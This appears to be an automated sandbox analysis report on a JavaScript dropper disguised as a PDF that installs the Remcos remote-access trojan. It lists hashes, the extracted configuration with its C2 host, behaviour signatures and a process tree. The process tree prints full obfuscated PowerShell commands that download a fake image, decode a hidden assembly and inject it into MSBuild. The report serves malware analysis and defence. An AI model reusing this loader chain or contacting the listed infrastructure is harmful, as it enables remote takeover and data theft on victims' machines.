Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03-12-2024 12:57
Static task
static1
Behavioral task
behavioral1
Sample
1099833039444.pdf.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
1099833039444.pdf.js
Resource
win10v2004-20241007-en
General
-
Target
1099833039444.pdf.js
-
Size
3KB
-
MD5
f41d5e2a458b43a44bf6f91e6172fd1f
-
SHA1
9d079763a4430d644a903168f29dae713768818b
-
SHA256
aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe
-
SHA512
b5188d638825bfc4f68810789bc5ecd3c1b1b4c0f0ed00cba15640c24f944c68f52648322c459f2129bdcdf4bc3f7bf0188f1b584e5076b91f1a91d3e792e1b5
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
Extracted
remcos
RemoteHost
ahmedahmed.ddns.net:6426
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-SEVL3E
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 5 IoCs
Processes:
wscript.exepowershell.exeflow pid Process 4 3428 wscript.exe 6 3428 wscript.exe 10 3428 wscript.exe 20 4692 powershell.exe 23 4692 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 4476 powershell.exe 4692 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.execscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation cscript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 4692 set thread context of 1508 4692 powershell.exe 92 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
MSBuild.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid Process 4476 powershell.exe 4476 powershell.exe 4692 powershell.exe 4692 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 4476 powershell.exe Token: SeDebugPrivilege 4692 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
MSBuild.exepid Process 1508 MSBuild.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
wscript.execscript.exepowershell.exepowershell.exedescription pid Process procid_target PID 3428 wrote to memory of 3188 3428 wscript.exe 82 PID 3428 wrote to memory of 3188 3428 wscript.exe 82 PID 3188 wrote to memory of 4476 3188 cscript.exe 84 PID 3188 wrote to memory of 4476 3188 cscript.exe 84 PID 4476 wrote to memory of 4692 4476 powershell.exe 86 PID 4476 wrote to memory of 4692 4476 powershell.exe 86 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92 PID 4692 wrote to memory of 1508 4692 powershell.exe 92
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1099833039444.pdf.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\desentulhador.js2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $embebido = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB0AHIAaQBwAHUAZABpAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAGwAbwBxAHUAYQBjAGkAZABhAGQAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABlAHMAdAByAGEAdABpAGcAcgBhAHAAaABpAGEAIAA9ACAAJABsAG8AcQB1AGEAYwBpAGQAYQBkAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdAByAGkAcAB1AGQAaQBhAHIAKQA7ACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGUAcwB0AHIAYQB0AGkAZwByAGEAcABoAGkAYQApADsAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBhAGwAdQBnAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwApADsAJABtAGEAbABhAGwAZQB1AGMAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJABjAGEAbAB1AGcAYQApADsAJABlAHMAYwBvAHIAcABpAHUAcgBhACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtAGcAdAAgACQAZQBzAGMAbwByAHAAaQB1AHIAYQA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgACsAPQAgACQAcgBoAGUAdABvAHIAaQBjAGkAcwBtAG8ALgBMAGUAbgBnAHQAaAA7ACQAcwBlAHIAZQBuAGEAdABpAHMAdABhACAAPQAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtACAAJABlAHMAYwBvAHIAcABpAHUAcgBhADsAJABjAGEAbABhAGYAZQB0AGUAYQByACAAPQAgACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABlAHMAYwBvAHIAcABpAHUAcgBhACwAIAAkAHMAZQByAGUAbgBhAHQAaQBzAHQAYQApADsAJABhAG4AaQBuAGEAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAbwBwAHAAbwBuAGUAbgB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQBuAGkAbgBhAHIAKQA7ACQAYQBsAGEAYgBpAHIAaQBuAHQAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAG8AcABwAG8AbgBlAG4AdABlACkAOwAkAGUAbgBmAGUAcgBtAGUAaQByAGEAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJABlAG4AZgBlAHIAbQBlAGkAcgBhAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBXAEYAaQBDAFgALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAMQAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$incommunicabilidade = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($embebido));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $incommunicabilidade3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tripudiar = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$loquacidade = New-Object System.Net.WebClient;$estratigraphia = $loquacidade.DownloadData($tripudiar);$expressivo = [System.Text.Encoding]::UTF8.GetString($estratigraphia);$rhetoricismo = '<<BASE64_START>>';$caluga = '<<BASE64_END>>';$escorpiura = $expressivo.IndexOf($rhetoricismo);$malaleuca = $expressivo.IndexOf($caluga);$escorpiura -ge 0 -and $malaleuca -gt $escorpiura;$escorpiura += $rhetoricismo.Length;$serenatista = $malaleuca - $escorpiura;$calafetear = $expressivo.Substring($escorpiura, $serenatista);$aninar = -join ($calafetear.ToCharArray() | ForEach-Object { $_ })[-1..-($calafetear.Length)];$opponente = [System.Convert]::FromBase64String($aninar);$alabirintar = [System.Reflection.Assembly]::Load($opponente);$enfermeira = [dnlib.IO.Home].GetMethod('VAI');$enfermeira.Invoke($null, @('0/WFiCX/r/ee.etsap//:sptth', 'cartilaginoso', 'cartilaginoso', 'cartilaginoso', 'MSBuild', 'cartilaginoso', 'cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','1','cartilaginoso'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1508
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD52867f6d5c4ee9e01dfef9fae71f1fbe5
SHA1c64033c3993a56f190db99f42b147c2cddeb8225
SHA256fc2d1ef7816d44816fc88bf6dbbe418c240747741a1628a30cd7e65c84b27840
SHA512bc1bcd58f950b8b2b3ec477ac84327d9a59d6be5e5e595ba5f7a548b84c1ff60cc69e9293796e49bea5aae7d74e5dfafd3ac9e0e6a9bb7b5dde92887e573bb8c
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
155KB
MD5f559b24304a1b17b80bccacc2965a3a6
SHA174f09250e2531a5504e0373b7cb038c4c4d722bf
SHA25623ad8882ca8cdc770dd6d31890258af9f81aa09e5188d6a92dcfbef841dfab8f
SHA512aa1a70e1ae7e21f563d6aae0c81471a3d20d024a8c15824855f4c9cb2c56ee716daeb54380433c9ceb6421a3aff130d7af73dd281e2d1ab969434b05fc6461d6